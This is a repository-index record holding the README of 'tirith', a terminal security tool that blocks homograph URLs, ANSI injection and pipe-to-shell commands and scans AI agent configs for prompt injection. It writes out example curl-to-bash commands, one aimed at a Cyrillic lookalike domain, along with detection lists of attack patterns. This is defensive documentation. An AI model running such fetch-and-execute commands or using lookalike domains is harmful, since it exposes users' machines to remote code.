{"id":43563539,"url":"https://github.com/sheeki03/tirith","last_synced_at":"2026-02-25T23:07:39.354Z","repository":{"id":336061721,"uuid":"1147679251","full_name":"sheeki03/tirith","owner":"sheeki03","description":"Your browser catches homograph attacks. Your terminal doesn't. Tirith guards the gate — intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.","archived":false,"fork":false,"pushed_at":"2026-02-06T20:34:19.000Z","size":348,"stargazers_count":1494,"open_issues_count":2,"forks_count":43,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-02-07T08:57:36.050Z","etag":null,"topics":["cli","devtools","homograph-attack","rust","security","shell","supply-chain-security","terminal","unicode","url-security"],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sheeki03.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE-AGPL","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":"docs/roadmap.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-02-02T04:33:47.000Z","updated_at":"2026-02-07T08:24:27.000Z","dependencies_parsed_at":"2026-02-05T23:00:43.618Z","dependency_job_id":null,"html_url":"https://github.com/sheeki03/tirith","commit_stats":null,"previous_names":["sheeki03/tirith"],"tags_count":9,"template":false,"template_full_name":null,"purl":"pkg:github/sheeki03/tirith","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sheeki03","download_url":"https://codeload.github.com/sheeki03/tirith/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29215841,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-08T00:10:47.190Z","status":"ssl_error","status_checked_at":"2026-02-08T00:10:43.589Z","response_time":63,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cli","devtools","homograph-attack","rust","security","shell","supply-chain-security","terminal","unicode","url-security"],"created_at":"2026-02-03T21:14:05.014Z","updated_at":"2026-02-25T23:07:39.348Z","avatar_url":"https://github.com/sheeki03.png","language":"Rust","readme":"# tirith\n\n**Your browser would catch this. Your terminal won't.**\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"assets/cover.png\" alt=\"tirith — terminal security\" width=\"100%\" /\u003e\n\u003c/p\u003e\n\n[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)\n[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat\u0026logo=github)](https://github.com/sheeki03/tirith/stargazers)\n[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)\n\n[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [Changelog](https://github.com/sheeki03/tirith/releases)\n\n---\n\nCan you spot the difference?\n\n```\n  curl -sSL https://install.example-cli.dev | bash     # safe\n  curl -sSL https://іnstall.example-clі.dev | bash     # compromised\n```\n\nYou can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.\n\nBrowsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.\n\n**Tirith stands at the gate.**\n\n```bash\nbrew install sheeki03/tap/tirith\n```\n\nThen activate in your shell profile:\n\n```bash\n# zsh\neval \"$(tirith init --shell zsh)\"\n\n# bash\neval \"$(tirith init --shell bash)\"\n\n# fish\ntirith init --shell fish | source\n```\n\nThat's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.\n\nAlso available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install).\n\n---\n\n## See it work\n\n**Homograph attack — blocked before execution:**\n\n```\n$ curl -sSL https://іnstall.example-clі.dev | bash\n\ntirith: BLOCKED\n  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname\n    This is a homograph attack. The URL visually mimics a legitimate\n    domain but resolves to a completely different server.\n  Bypass: prefix your command with TIRITH=0 (applies to that command only)\n```\n\nThe command never executes.\n\n**Pipe-to-shell with clean URL — warned, not blocked:**\n\n```\n$ curl -fsSL https://get.docker.com | sh\n\ntirith: WARNING\n  [MEDIUM] pipe_to_interpreter — Download piped to interpreter\n    Consider downloading first and reviewing.\n```\n\nWarning prints to stderr. Command still runs.\n\n**Normal commands — invisible:**\n\n```\n$ git status\n$ ls -la\n$ docker compose up -d\n```\n\nNothing. Zero output. You forget tirith is running.\n\n---\n\n## What it catches\n\n**66 detection rules across 11 categories.**\n\n| Category | What it stops |\n|----------|--------------|\n| **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains |\n| **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors |\n| **Pipe-to-shell** | `curl \\| bash`, `wget \\| sh`, `httpie \\| sh`, `xh \\| sh`, `python \u003c(curl ...)`, `eval $(wget ...)` — every source-to-sink pattern |\n| **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |\n| **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations |\n| **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |\n| **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |\n| **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |\n| **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding |\n| **Rendered content** | Hidden CSS/color content, hidden HTML attributes, markdown/HTML comments with instructions |\n| **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |\n\n---\n\n## AI agent security\n\nTirith protects AI coding agents at every layer — from the configs they read to the commands they execute.\n\n### MCP server (7 tools)\n\nRun `tirith mcp-server` or use `tirith setup \u003ctool\u003e --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action:\n\n| Tool | What it does |\n|------|-------------|\n| `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |\n| `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |\n| `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars |\n| `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning |\n| `tirith_scan_directory` | Recursive scan with AI config file prioritization |\n| `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |\n| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |\n\n### Config file scanning\n\n`tirith scan` detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:\n\n- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`\n- `.claude/` settings, agents, skills, plugins, rules\n- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` configs\n- `mcp.json`, `.mcp.json`, `mcp_settings.json`\n- `.github/copilot-instructions.md`, `.github/agents/*.md`\n\n**What it catches in configs:**\n\n- **Prompt injection** — skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions\n- **Invisible Unicode** — zero-width characters, bidi controls, soft hyphens, Unicode tags hiding instructions\n- **MCP config issues** — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access\n\n### Hidden content detection\n\nDetects content invisible to humans but readable by AI in HTML, Markdown, and PDF:\n\n- **CSS hiding** — `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, off-screen positioning\n- **Color hiding** — white-on-white text, similar foreground/background (contrast ratio \u003c 1.5:1)\n- **HTML/Markdown comments** — long comments hiding instructions for AI agents\n- **PDF hidden text** — sub-pixel rendered text (font-size \u003c 1px) invisible to readers but parseable by LLMs\n\n### Cloaking detection\n\n`tirith fetch` compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.\n\n---\n\n## Install\n\n### macOS\n\n**Homebrew:**\n\n```bash\nbrew install sheeki03/tap/tirith\n```\n\n### Linux Packages\n\n**Debian / Ubuntu (.deb):**\n\nDownload from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:\n\n```bash\nsudo dpkg -i tirith_*_amd64.deb\n```\n\n**Fedora / RHEL / CentOS 9+ (.rpm):**\n\nDownload from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:\n\n```bash\nsudo dnf install ./tirith-*.rpm\n```\n\n**Arch Linux (AUR):**\n\n```bash\nyay -S tirith\n# or: paru -S tirith\n```\n\n**Nix:**\n\n```bash\nnix profile install github:sheeki03/tirith\n# or try without installing: nix run github:sheeki03/tirith -- --version\n```\n\n### Windows\n\n**Scoop:**\n\n```powershell\nscoop bucket add tirith https://github.com/sheeki03/scoop-tirith\nscoop install tirith\n```\n\n**Chocolatey** (under moderation — pending approval):\n\n```powershell\nchoco install tirith\n```\n\n### Cross-Platform\n\n**npm:**\n\n```bash\nnpm install -g tirith\n```\n\n**Cargo:**\n\n```bash\ncargo install tirith\n```\n\n**[Mise](https://mise.jdx.dev/)** (official registry):\n\n```bash\nmise use -g tirith\n```\n\n**asdf:**\n\n```bash\nasdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git\nasdf install tirith latest\nasdf global tirith latest\n```\n\n**Docker:**\n\n```bash\ndocker run --rm ghcr.io/sheeki03/tirith check -- \"curl https://example.com | bash\"\n```\n\n### Activate\n\nAdd to your shell profile (`.zshrc`, `.bashrc`, or `config.fish`):\n\n```bash\neval \"$(tirith init --shell zsh)\"   # in ~/.zshrc\neval \"$(tirith init --shell bash)\"  # in ~/.bashrc\ntirith init --shell fish | source   # in ~/.config/fish/config.fish\n```\n\n| Shell | Hook type | Tested on |\n|-------|-----------|-----------|\n| zsh | preexec + paste widget | 5.8+ |\n| bash | preexec (two modes) | 5.0+ |\n| fish | fish_preexec event | 3.5+ |\n| PowerShell | PSReadLine handler | 7.0+ |\n\nIn bash, enter mode is used by default with a startup health gate and runtime self-healing. SSH sessions automatically fall back to preexec mode for PTY compatibility. If enter mode detects a failure, it auto-degrades to preexec and persists the decision across shells. Unexpected tirith errors (crashes, OOM-kills) trigger a mixed fail-safe policy: bash degrades to preexec, other shells warn and execute, paste paths always discard. See [troubleshooting](docs/troubleshooting.md#unexpected-tirith-exit-codes) for details.\n\n**Nix / Home-Manager:** tirith must be in your `$PATH` — the shell hooks call `tirith` by name at runtime. Adding it to `initContent` alone is not enough.\n\n```nix\nhome.packages = [ pkgs.tirith ];\n\nprograms.zsh.initContent = ''\n  eval \"$(tirith init --shell zsh)\"\n'';\n```\n\n### Shell Integrations\n\n**Oh-My-Zsh:**\n\n```bash\ngit clone https://github.com/sheeki03/ohmyzsh-tirith \\\n  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith\n\n# Add tirith to plugins in ~/.zshrc:\nplugins=(... tirith)\n```\n\n### AI Agent Integrations\n\nUse `tirith setup \u003ctool\u003e` for one-command configuration:\n\n```bash\ntirith setup claude-code --with-mcp   # Claude Code + MCP server\ntirith setup codex                    # OpenAI Codex\ntirith setup cursor                   # Cursor\ntirith setup vscode                   # VS Code\ntirith setup windsurf                 # Windsurf\n```\n\nFor manual configuration, see `mcp/clients/` for per-tool guides.\n\n---\n\n## Commands\n\n### `tirith check -- \u003ccmd\u003e`\nAnalyze a command without executing it. Useful for testing what tirith would flag.\n\n```bash\n$ tirith check -- curl -sSL https://іnstall.example-clі.dev \\| bash\ntirith: BLOCKED\n  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname\n```\n\n### `tirith paste`\nReads from stdin and analyzes pasted content. The shell hook calls this automatically when you paste into the terminal — you don't need to run it manually.\n\n### `tirith score \u003curl\u003e`\nBreaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis.\n\n```bash\n$ tirith score https://bit.ly/something\n```\n\n### `tirith diff \u003curl\u003e`\nByte-level comparison showing exactly where suspicious characters are hiding.\n\n```\n$ tirith diff https://exаmple.com\n  Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)\n```\n\n### `tirith run \u003curl\u003e`\nSafe replacement for `curl | bash`. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt you can verify later.\n\n```bash\n$ tirith run https://get.docker.com\n```\n\n### `tirith receipt {last,list,verify}`\nTrack and verify scripts you've run through `tirith run`. Each execution creates a receipt with the script's SHA256 hash so you can audit what ran on your machine.\n\n```bash\n$ tirith receipt last        # show the most recent receipt\n$ tirith receipt list        # list all receipts\n$ tirith receipt verify \u003csha256\u003e  # verify a specific receipt\n```\n\n### `tirith why`\nExplains the last rule that triggered — what it detected, why it matters, and what to do about it.\n\n### `tirith scan [path]`\nScan files and directories for hidden content, config poisoning, invisible Unicode, and MCP configuration issues. Supports SARIF output for CI integration.\n\n```bash\n$ tirith scan .                     # scan current directory\n$ tirith scan --file .cursorrules   # scan a specific file\n$ tirith scan --ci --fail-on high   # exit non-zero if findings meet threshold\n$ tirith scan --sarif               # SARIF 2.1.0 output for CI tools\n```\n\n### `tirith fetch \u003curl\u003e`\nCheck a URL for server-side cloaking — detects when a server returns different content to bots vs browsers.\n\n```bash\n$ tirith fetch https://example.com/install.sh\n```\n\n### `tirith checkpoint {create,list,restore,diff,purge}`\nSnapshot files before risky operations, then roll back if something goes wrong.\n\n```bash\n$ tirith checkpoint create ~/.bashrc ~/.zshrc   # snapshot before changes\n$ tirith checkpoint list                        # list all checkpoints\n$ tirith checkpoint diff \u003cid\u003e                   # show what changed\n$ tirith checkpoint restore \u003cid\u003e                # roll back\n$ tirith checkpoint purge                       # clean up old checkpoints\n```\n\n### `tirith gateway {run,validate-config}`\nMCP gateway proxy that intercepts AI agent shell tool calls for security analysis before execution.\n\n```bash\n$ tirith gateway run --upstream-bin npx --upstream-arg mcp-server --config gateway.yaml\n$ tirith gateway validate-config --config gateway.yaml\n```\n\n### `tirith setup \u003ctool\u003e`\nOne-command setup for AI coding tools. Configures shell hooks, MCP server registration, and zshenv guards.\n\n```bash\n$ tirith setup claude-code --with-mcp    # Claude Code + MCP server\n$ tirith setup codex                     # OpenAI Codex\n$ tirith setup cursor                    # Cursor\n$ tirith setup vscode                    # VS Code\n$ tirith setup windsurf                  # Windsurf\n```\n\n### `tirith audit {export,stats,report}`\nAudit log management for compliance and analysis.\n\n```bash\n$ tirith audit export --format csv --since 2025-01-01\n$ tirith audit stats --json\n$ tirith audit report --format html --since 2025-01-01\n```\n\n### `tirith init`\nPrints the shell hook for your current shell. Add `eval \"$(tirith init)\"` to your shell profile to activate tirith. If you use multiple shells, you can force a specific one with `tirith init --shell bash|zsh|fish`.\n\n### `tirith doctor`\nDiagnostic check — shows detected shell, hook status, policy file location, and configuration. Run this if something isn't working.\n\n### `tirith mcp-server`\nRun tirith as an MCP server over JSON-RPC stdio. Used by AI coding tools for integrated security analysis.\n\n---\n\n## Design principles\n\n- **Offline by default** — `check`, `paste`, `score`, `diff`, and `why` make zero network calls. All detection runs locally.\n- **No command rewriting** — tirith never modifies what you typed\n- **No telemetry** — no analytics, no crash reporting, no phone-home behavior\n- **No background processes** — invoked per-command, exits immediately\n- **Network only when you ask** — `run`, `fetch`, and `audit report --upload` reach the network, but only on explicit invocation. Core detection never does.\n\n---\n\n## Configuration\n\nTirith uses a YAML policy file. Discovery order:\n1. `.tirith/policy.yaml` in current directory (walks up to repo root)\n2. `~/.config/tirith/policy.yaml`\n\n```yaml\nversion: 1\nallowlist:\n  - \"get.docker.com\"\n  - \"sh.rustup.rs\"\n\nseverity_overrides:\n  docker_untrusted_registry: CRITICAL\n\nfail_mode: open  # or \"closed\" for strict environments\n```\n\nMore examples in [docs/cookbook.md](docs/cookbook.md).\n\n**Bypass** for the rare case you know exactly what you're doing:\n\n```bash\nTIRITH=0 curl -L https://something.xyz | bash\n```\n\nThis is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: `allow_bypass_env: false` in policy.\n\n---\n\n## Data handling\n\nLocal JSONL audit log at `~/.local/share/tirith/log.jsonl`:\n- Timestamp, action, rule ID, redacted command preview\n- **No** full commands, environment variables, or file contents\n\nDisable: `export TIRITH_LOG=0`\n\n---\n\n## Docs\n\n- [Threat model](docs/threat-model.md) — what tirith defends against and what it doesn't\n- [Cookbook](docs/cookbook.md) — policy examples for common setups\n- [Troubleshooting](docs/troubleshooting.md) — shell quirks, latency, false positives\n- [Compatibility](docs/compatibility.md) — stable vs experimental surface\n- [Security policy](SECURITY.md) — vulnerability reporting\n- [Uninstall](docs/uninstall.md) — clean removal per shell and package manager\n\n## License\n\n**Every feature is available to everyone — no tiers, no feature gating.** All 66 detection rules, the MCP server, config scanning, cloaking detection, and every command ship fully unlocked.\n\ntirith is dual-licensed:\n\n- **AGPL-3.0-only**: [LICENSE-AGPL](LICENSE-AGPL) — free under copyleft terms\n- **Commercial**: [LICENSE-COMMERCIAL](LICENSE-COMMERCIAL) — if AGPL copyleft obligations don't work for your use case, contact contact@tirith.sh for alternative licensing\n\nThird-party data attributions in [NOTICE](NOTICE).\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=sheeki03/tirith\u0026type=Date)](https://star-history.com/#sheeki03/tirith\u0026Date)\n","funding_links":[],"categories":["Rust"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsheeki03%2Ftirith","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsheeki03%2Ftirith","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsheeki03%2Ftirith/lists"}